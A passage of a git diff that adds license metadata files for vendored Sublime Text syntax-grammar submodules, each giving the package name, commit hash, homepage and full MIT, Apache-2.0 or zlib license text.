+    WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+    FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+    OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/Sublime-Red.dep.yml b/vendor/licenses/git_submodule/Sublime-Red.dep.yml
new file mode 100644
index 0000000000..7fe9dd4daf
--- /dev/null
+++ b/vendor/licenses/git_submodule/Sublime-Red.dep.yml
@@ -0,0 +1,32 @@
+---
+name: Sublime-Red
+version: fb0c69926e2f966dab413f1c34a05f376317a319
+type: git_submodule
+homepage: https://github.com/Oldes/Sublime-Red
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    Copyright (c) 2014-2015 Oldes
+
+    Permission is hereby granted, free of charge, to any person
+    obtaining a copy of this software and associated documentation
+    files (the "Software"), to deal in the Software without
+    restriction, including without limitation the rights to use,
+    copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the
+    Software is furnished to do so, subject to the following
+    conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
+    OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
+    HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
+    WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+    FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+    OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/Sublime-SQF-Language.dep.yml b/vendor/licenses/git_submodule/Sublime-SQF-Language.dep.yml
new file mode 100644
index 0000000000..353df7a7e3
--- /dev/null
+++ b/vendor/licenses/git_submodule/Sublime-SQF-Language.dep.yml
@@ -0,0 +1,211 @@
+---
+name: Sublime-SQF-Language
+version: bfe7efe490b94cfde1f752b7d787490f4be76390
+type: git_submodule
+homepage: https://github.com/JonBons/Sublime-SQF-Language
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |
+    Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "{}"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright 2014 Matthew Graham
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/SublimeBrainfuck.dep.yml b/vendor/licenses/git_submodule/SublimeBrainfuck.dep.yml
new file mode 100644
index 0000000000..dfbfdcd112
--- /dev/null
+++ b/vendor/licenses/git_submodule/SublimeBrainfuck.dep.yml
@@ -0,0 +1,42 @@
+---
+name: SublimeBrainfuck
+version: 4fda534b0edfba46f1e0d920aad5f519746f2ab2
+type: git_submodule
+homepage: https://github.com/Drako/SublimeBrainfuck
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2013 Felix Bytow <felix.bytow@googlemail.com>
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+- sources: README.md
+  text: |-
+    All of SublimeBrainfuck is licensed under the MIT license.
+
+    Copyright (c) 2013 Felix Bytow <felix.bytow@googlemail.com>
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/SublimeClarion.dep.yml b/vendor/licenses/git_submodule/SublimeClarion.dep.yml
new file mode 100644
index 0000000000..b933e783d1
--- /dev/null
+++ b/vendor/licenses/git_submodule/SublimeClarion.dep.yml
@@ -0,0 +1,31 @@
+---
+name: SublimeClarion
+version: b3597c7c993c60b2813ace6129165e6c5e9390fc
+type: git_submodule
+homepage: https://github.com/fushnisoft/SublimeClarion
+license: mit
+licenses:
+- sources: LICENSE.txt
+  text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2015 Fushnisoft
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/SublimeEthereum.dep.yml b/vendor/licenses/git_submodule/SublimeEthereum.dep.yml
new file mode 100644
index 0000000000..ecb4f22ce3
--- /dev/null
+++ b/vendor/licenses/git_submodule/SublimeEthereum.dep.yml
@@ -0,0 +1,54 @@
+---
+name: SublimeEthereum
+version: 89028f53c3ed40fff347c19acadc03ec6a3305a2
+type: git_submodule
+homepage: https://github.com/davidhq/SublimeEthereum.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2015+ uniqpath
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+- sources: README.md
+  text: |-
+    All of Sublime Ethereum is licensed under the MIT license.
+
+    Copyright Ⓒ 2015-2222 [uniqpath](https://github.com/uniqpath)
+
+    > Permission is hereby granted, free of charge, to any person obtaining a copy
+    > of this software and associated documentation files (the "Software"), to deal
+    > in the Software without restriction, including without limitation the rights
+    > to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    > copies of the Software, and to permit persons to whom the Software is
+    > furnished to do so, subject to the following conditions:
+
+    > The above copyright notice and this permission notice shall be included in
+    > all copies or substantial portions of the Software.
+
+    > THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    > IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    > FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    > AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    > LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    > OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    > THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/SublimeGDB.dep.yml b/vendor/licenses/git_submodule/SublimeGDB.dep.yml
new file mode 100644
index 0000000000..f33be37ca8
--- /dev/null
+++ b/vendor/licenses/git_submodule/SublimeGDB.dep.yml
@@ -0,0 +1,27 @@
+---
+name: SublimeGDB
+version: fcd83adef823885874a84bab184e086c94f689cc
+type: git_submodule
+homepage: https://github.com/quarnster/SublimeGDB
+license: zlib
+licenses:
+- sources: LICENSE
+  text: |
+    Copyright (c) 2012 Fredrik Ehnbom
+
+    This software is provided 'as-is', without any express or implied
+    warranty. In no event will the authors be held liable for any damages
+    arising from the use of this software.
+
+    Permission is granted to anyone to use this software for any purpose,
+    including commercial applications, and to alter it and redistribute it
+    freely, subject to the following restrictions:
+
+    1. The origin of this software must not be misrepresented; you must not
+       claim that you wrote the original software. If you use this software
+       in a product, an acknowledgement in the product documentation would be
+       appreciated but is not required.
+    2. Altered source versions must be plainly marked as such, and must not be
+       misrepresented as being the original software.
+    3. This notice may not be removed or altered from any source distribution.
+notices: []
diff --git a/vendor/licenses/git_submodule/SublimePapyrus.dep.yml b/vendor/licenses/git_submodule/SublimePapyrus.dep.yml
new file mode 100644
index 0000000000..768525071d
--- /dev/null
+++ b/vendor/licenses/git_submodule/SublimePapyrus.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: SublimePapyrus
+version: 6dc86d921a20573fb1be6f076a0022d4d28629e4
+license: mit
+licenses:
+- text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2016 Kapiainen
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/SublimePuppet.dep.yml b/vendor/licenses/git_submodule/SublimePuppet.dep.yml
new file mode 100644
index 0000000000..3d575a452c
--- /dev/null
+++ b/vendor/licenses/git_submodule/SublimePuppet.dep.yml
@@ -0,0 +1,37 @@
+---
+name: SublimePuppet
+version: 2a224343d2151b2896b6d9c48343919c06d1e695
+type: git_submodule
+homepage: https://github.com/russCloak/SublimePuppet
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    The MIT License (MIT)
+
+    Copyright (c) 2014 Peter Souter
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices:
+- sources: Authors
+  text: |-
+    Russell Cloak <russcloak@gmail.com>
+    Sean Keery <skibum55@hotmail.com>
+    Ruy Asan <ruyasan@gmail.com>
+    Peter Souter <p.morsou@gmail.com>
diff --git a/vendor/licenses/git_submodule/SublimeXtend.dep.yml b/vendor/licenses/git_submodule/SublimeXtend.dep.yml
new file mode 100644
index 0000000000..a5ea34d0d1
--- /dev/null
+++ b/vendor/licenses/git_submodule/SublimeXtend.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: SublimeXtend
+version: 61c06e16645078c3238a23548911c8cd147e4b69
+license: mit
+licenses:
+- text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2014 Andre Staltz
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/Syntax-highlighting-for-PostCSS.dep.yml b/vendor/licenses/git_submodule/Syntax-highlighting-for-PostCSS.dep.yml
new file mode 100644
index 0000000000..afd45305a9
--- /dev/null
+++ b/vendor/licenses/git_submodule/Syntax-highlighting-for-PostCSS.dep.yml
@@ -0,0 +1,28 @@
+---
+type: git_submodule
+name: Syntax-highlighting-for-PostCSS
+version: 575b918985ce82545a12615a244243e41a91cd52
+license: mit
+licenses:
+- text: |-
+    The MIT License (MIT)
+
+    Copyright 2017 Aleks Hudochenkov <aleks@hudochenkov.com>
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of
+    this software and associated documentation files (the "Software"), to deal in
+    the Software without restriction, including without limitation the rights to
+    use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
+    the Software, and to permit persons to whom the Software is furnished to do so,
+    subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
+    FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
+    COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
+    IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+    CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/SystemVerilog.dep.yml b/vendor/licenses/git_submodule/SystemVerilog.dep.yml
new file mode 100644
index 0000000000..093fb1f9aa
--- /dev/null
+++ b/vendor/licenses/git_submodule/SystemVerilog.dep.yml
@@ -0,0 +1,211 @@
+---
+name: SystemVerilog
+version: 7eca705e87f87b94478fe222fc91d54d488cc8e3
+type: git_submodule
+homepage: https://github.com/TheClams/SystemVerilog
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |-
+    Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
